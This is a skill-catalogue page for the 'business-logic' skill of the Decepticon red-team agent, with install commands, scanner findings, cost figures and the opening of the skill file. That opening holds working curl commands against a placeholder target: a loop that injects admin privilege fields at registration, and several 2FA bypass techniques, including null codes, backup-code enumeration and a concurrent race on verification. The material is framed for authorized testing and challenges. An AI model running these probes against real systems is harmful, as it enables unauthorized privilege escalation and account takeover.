Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill business-logicgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/business-logic)<a href="https://agentmods.dev/skills/purpleailab/decepticon/business-logic"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/business-logic/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/business-logic"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/business-logic.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 6 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Tool Misuse · line 61 Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.Fix: Limit tool chaining depth and validate the output of each tool before passing it to the next. Require explicit user approval for multi-step chains.
- high YARA Match · line 98 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- medium Data Exfiltration · line 22 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 43 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 61 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 85 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00077 | $0.02130 |
| Opus 5 | $0.00039 | $0.01065 |
| Sonnet 5 | $0.00015 | $0.00426 |
| Haiku 4.5 | $0.00008 | $0.00213 |
Grade B, and why
business-logic scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -s -X POST 'https://<TARGET>/2fa/verify' -d 'code=' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n' Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -X POST 'https://<TARGET>/register' \ Copies of this mod
1 near-identical copy found in the catalogue:
- business-logic — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 145 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Business Logic / Privilege Escalation
For challenges where the vulnerability is in the application's business rules, not in standard injection sinks. Common patterns: client-controlled privilege fields, 2FA bypass, predictable codes, hidden auth headers.
1. POST-Body Privilege Field Tampering
When registration/profile endpoints accept arbitrary JSON or form fields, the server may read trusted privilege flags from the request:
# Intercept normal registration first to see what fields are sent
curl -s -X POST 'https://<TARGET>/register' \
-H 'Content-Type: application/json' \
-d '{"username":"alice","email":"[email protected]","password":"x"}' -v 2>&1 > /tmp/register_baseline.txt
head -50 /tmp/register_baseline.txt
# Add common privilege fields to the body
for field in 'role:admin' 'is_admin:true' 'admin:1' 'user_type:admin' 'isAdmin:true' 'is_superuser:true' 'staff:true' 'level:99' 'group:administrators'; do
key=${field%:*}; val=${field#*:}
echo "=== try $key=$val ==="
curl -s -X POST 'https://<TARGET>/register' \
-H 'Content-Type: application/json' \
-d "{\"username\":\"u_$RANDOM\",\"password\":\"x\",\"$key\":$val}" \
-o /tmp/priv_probe.txt -w '%{http_code}\n'
grep -i 'admin\|role\|privilege\|flag\|token' /tmp/priv_probe.txt | head -5
done
2. 2FA Bypass Patterns
# (a) Bypass-by-omission — skip /2fa/verify entirely, go directly to /dashboard with partially-authenticated session
curl -s 'https://<TARGET>/dashboard' -b 'session=<post-login-pre-2fa>' -o /tmp/bypass_omit.txt -w '%{http_code}\n'
# (b) Empty / null code
curl -s -X POST 'https://<TARGET>/2fa/verify' -d 'code=' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n'
curl -s -X POST 'https://<TARGET>/2fa/verify' -H 'Content-Type: application/json' \
-d '{"code":null}' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n'
curl -s -X POST 'https://<TARGET>/2fa/verify' -H 'Content-Type: application/json' \
-d '{}' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n'
# (c) Backup code enumeration (often 8-digit numeric)
for code in 00000000 11111111 12345678 87654321; do
curl -s -X POST 'https://<TARGET>/2fa/verify' -d "code=$code" -b 'session=...' -o /tmp/r.txt -w "%{http_code} $code\n"
done
# (d) TOTP seed leak — check registration response for "secret" or "qr" field; if leaked, generate code
# python3 -c "import pyotp; print(pyotp.TOTP('<LEAKED_SECRET>').now())"
# (e) Race condition on verify — submit concurrently to beat rate-limit or state check
seq 1 20 | xargs -P 20 -I _ curl -s -X POST 'https://<TARGET>/2fa/verify' \
-d 'code=999999' -b 'session=...' -o /dev/null -w '%{http_code}\n' | sort | uniq -c
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 145 lines · 77 tokens per session scan B 30bdc2c99d72
business-logic is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 77 tokens to every session and 2,130 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
api-crud-generator
A code generator that creates standard Next.js API routes and an administration page from Prisma models. Prisma is a tool that describes and accesses an application’s database.
msbuild-antipatterns
Catalog of MSBuild anti-patterns with detection rules and fix recipes. Only activate in MSBuild/.NET build context. USE FOR: reviewing, auditing, or cleaning up .csproj, .vbproj, .fsproj, .props, .targets, or .proj files. Each anti-pattern has a symptom, explanation, and concrete BAD→GOOD transformation. Covers…
run-tests
Runs .NET tests with dotnet test. Use when user says "run tests", "run my tests", "run these tests", "execute tests", "dotnet test", "test filter", "filter by category", "filter by class", "combine filters", "run only specific tests", "integration tests", "unit tests", "tests not running", "hang timeout"…
fastapi
FastAPI best practices and conventions. Use when working with FastAPI APIs and Pydantic models for them. Keeps FastAPI code clean and up to date with the latest features and patterns, updated with new versions. Write new code or refactor and update old code.
dotnet-10-csharp-14
Use when building .NET 10 or C# 14 applications; when using minimal APIs, modular monolith patterns, or feature folders; when implementing HTTP resilience, Options pattern, Channels, or validation; when seeing outdated patterns like old extension method syntax.
nodejs-core
Debugs native module crashes, optimizes V8 performance, configures node-gyp builds, writes N-API/node-addon-api bindings, and diagnoses libuv event loop issues in Node.js. Use when working with C++ addons, native modules, binding.gyp, node-gyp errors, segfaults, memory leaks in native code, V8…